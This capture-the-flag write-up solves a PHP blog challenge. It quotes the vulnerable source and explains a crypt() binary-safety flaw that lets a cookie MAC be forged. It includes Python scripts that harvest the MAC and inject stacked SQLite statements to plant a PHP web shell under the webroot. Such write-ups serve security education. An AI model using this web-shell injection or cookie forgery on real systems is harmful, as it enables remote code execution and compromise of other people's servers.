Read more writeups at kitctf.de

Challenge description:

Please use my shitty blog 🤎!

We are given a docker container running php. The only notable things about it, is that there is a readflag binary on the server and that the webroot is /var/www/html.

Other than that only index.php is interesting:

<?php
// TODO: fully implement multi-user / guest feature :(

$secret = 'SECRET_PLACEHOLDER';
$salt = '$6$'.substr(hash_hmac('md5', $_SERVER['REMOTE_ADDR'], $secret), 16).'$';

if(! isset($_COOKIE['session'])){
    $id = random_int(1, PHP_INT_MAX);
    $mac = substr(crypt(hash_hmac('md5', $id, $secret, true), $salt), 20);
}
else {
    $session = explode('|', $_COOKIE['session']);
    if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {
        exit();
    }
    $id = $session[0];
    $mac = $session[1];
}
setcookie('session', $id.'|'.$mac);
$sandbox = './data/'.md5($salt.'|'.$id.'|'.$mac);
if(! is_dir($sandbox)) {
    mkdir($sandbox);
}

$db = new PDO('sqlite:'.realpath($sandbox).'/blog.sqlite3');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

$schema = "
    CREATE TABLE IF NOT EXISTS user (id INTEGER PRIMARY KEY, name VARCHAR(255));
    CREATE TABLE IF NOT EXISTS entry (id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER, content TEXT);

    INSERT OR IGNORE INTO user (id, name) VALUES (0, 'System');
    INSERT OR IGNORE INTO entry (id, user_id, content) VALUES (0, 0, 'Welcome to your new blog - 🚩🚩🚩 ʕ•́ᴥ•̀ʔっ🤎 🚩🚩🚩');
";
$db->exec($schema);

function get_entries($db){
    $sth = $db->query('SELECT id, user_id, content FROM entry ORDER BY id DESC');
     return $sth->fetchAll(); 
}

function get_user($db, $user_id) : string {
    foreach($db->query("SELECT name FROM user WHERE id = {$user_id}") as $user) {
        return $user['name'];
    }
    return 'me';
}

function insert_entry($db, $content, $user_id) {
    $sth = $db->prepare('INSERT INTO entry (content, user_id) VALUES (?, ?)');
    $sth->execute([$content, $user_id]);
}

function delete_entry($db, $entry_id, $user_id) {
    $db->exec("DELETE from entry WHERE {$user_id} <> 0 AND id = {$entry_id}");
}

if(isset($_POST['content'])) {
    insert_entry($db, htmlspecialchars($_POST['content']), $id);

    header('Location: /');
    exit;
}

$entries = get_entries($db);

if(isset($_POST['delete'])) {
    foreach($entries as $key => $entry) {
        if($_POST['delete'] === $entry['id']){
            delete_entry($db, $entry['id'], $entry['user_id']);
            break;
        }
    }

    header('Location: /');
    exit;
}

foreach($entries as $key => $entry) {
    $entries[$key]['user'] = get_user($db, $entry['user_id']);
}

?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>My shitty Blog</title>
    <link rel="icon" type="image/png" href="/favicon.png"/>
  </head>
  <body>
    <h1>My shitty blog</h1>
    <form method="post">
        <textarea cols="50" rows="10" name="content"></textarea>
        <input type="submit" value="Post">
    </form>
    <?php foreach($entries as $entry):?>
        <div>
            <p><?= $entry['content'] ?></p>
            <small>By <?=  $entry['user'] ?> </small>
            <form method="post">
                <input type="hidden" name="delete" value="<?= $entry['id'] ?>">
                <input type="submit" value="Delete">
            </form>
        </div>
        <hr>
    <?php endforeach ?>

  </body>
</html>

On the first look, we notice that there are two obvious sql injections in delete_entry and get_user. Unfortunately, we do not control $entry_id, because the value is read from the database. So we are left with manipulating the user ID. The user ID is the cookie and needs to have a valid MAC (Message Authentication Code, think of it as a symmetric signature) next to it. The crypto on top looks weird and despite MD5 being used there is no obvious flaw in it, as we neither know $secret nor $salt.

The vulnerability is that crypt, which is not binary save, receives input from hash_hmac, with binary output enabled. This causes the $mac to be the same value for all IDs that have an MD5 hash starting with a zero byte. But we do not know the value yet, and there is no direct way to read it. The way to get the MAC for all “0-byte IDs” is to generate a lot of new cookies and observing if there is a MAC (second part of cookie) that appears frequently, because 1 in 256 IDs should lead to the MAC we are searching for. We can do this with a simple python script. The MAC will be different for different client IPs and obviously the challenge server has a different secret from local docker.

import requests
from tqdm import tqdm

macs = []
for _ in tqdm(range(1000)):
    response = requests.get('http://65.108.176.96:8888/')
    # response = requests.get('http://127.0.0.1:8888/')
    macs.append(response.cookies['session'].split('%7C')[1])
mac_0 = max(macs,key=macs.count)
print(mac_0)

Now we need to store a RCE SQLI payload in the user ID. If you are wondering about user_id being an INTEGER in the database, SQLite has the dynamic typing “feature”, that lets us write strings in there too. As we are using SQLite, the common way to achieve RCE is by creating a new database under the webroot and name it someting.php and then inserting php code.

Here is the full exploit for this. We can append letters as a comment to brute force a 0-byte MD5.

import requests
import random
import string
from urllib.parse import quote 
remote_0_mac = 'F%2FAmM%2FKSezHydQEtOQZcjI2uUiW1XszDL9d%2FvzWyAXfOstphCBPvxDZqSnA2l9iPK699dU5t9gZQuFDvxv1WY0'
local_0_mac = 'TLWrqfD78JaibaXZDEjqmGh.A4kofn6q/fpGEQD3JoY0zV8vywm/0.pjdx6qX.3tEsp71XW080H6UIQXOAYz8.'

cont = ''
payload = quote("1=1; ATTACH DATABASE '/var/www/html/data/1fec2ac0ea54318b6fa64d73dcb5837d9a9e7c5e.php' as hackz;CREATE TABLE hackz.pwn (dataz text);INSERT INTO hackz.pwn (dataz) VALUES ('<?php echo system(\"/readflag\"); ?>'); -- random_brute")
while 'html' not in cont:
    random_id = ''.join(random.choice(string.ascii_letters) for _ in range(10))
    cookies = {
        'session': payload + random_id + '%7C' + remote_0_mac
        # 'session': payload random_id + '%7C' + local_0_mac
    }
    response = requests.get('http://65.108.176.96:8888/', cookies=cookies)
    #response = requests.get('http://127.0.0.1:1080/', cookies=cookies)
    cont = response.text
print(cookies)

The exploit will give us a cookie, that we can copy, insert into the browser, delete an entry and then go to the newly created php page. Et voilà, the flag.

hxp{dynamically_typed_statically_typed_php_c_I_hate_you_all_equally__at_least_its_not_node_lol_:(}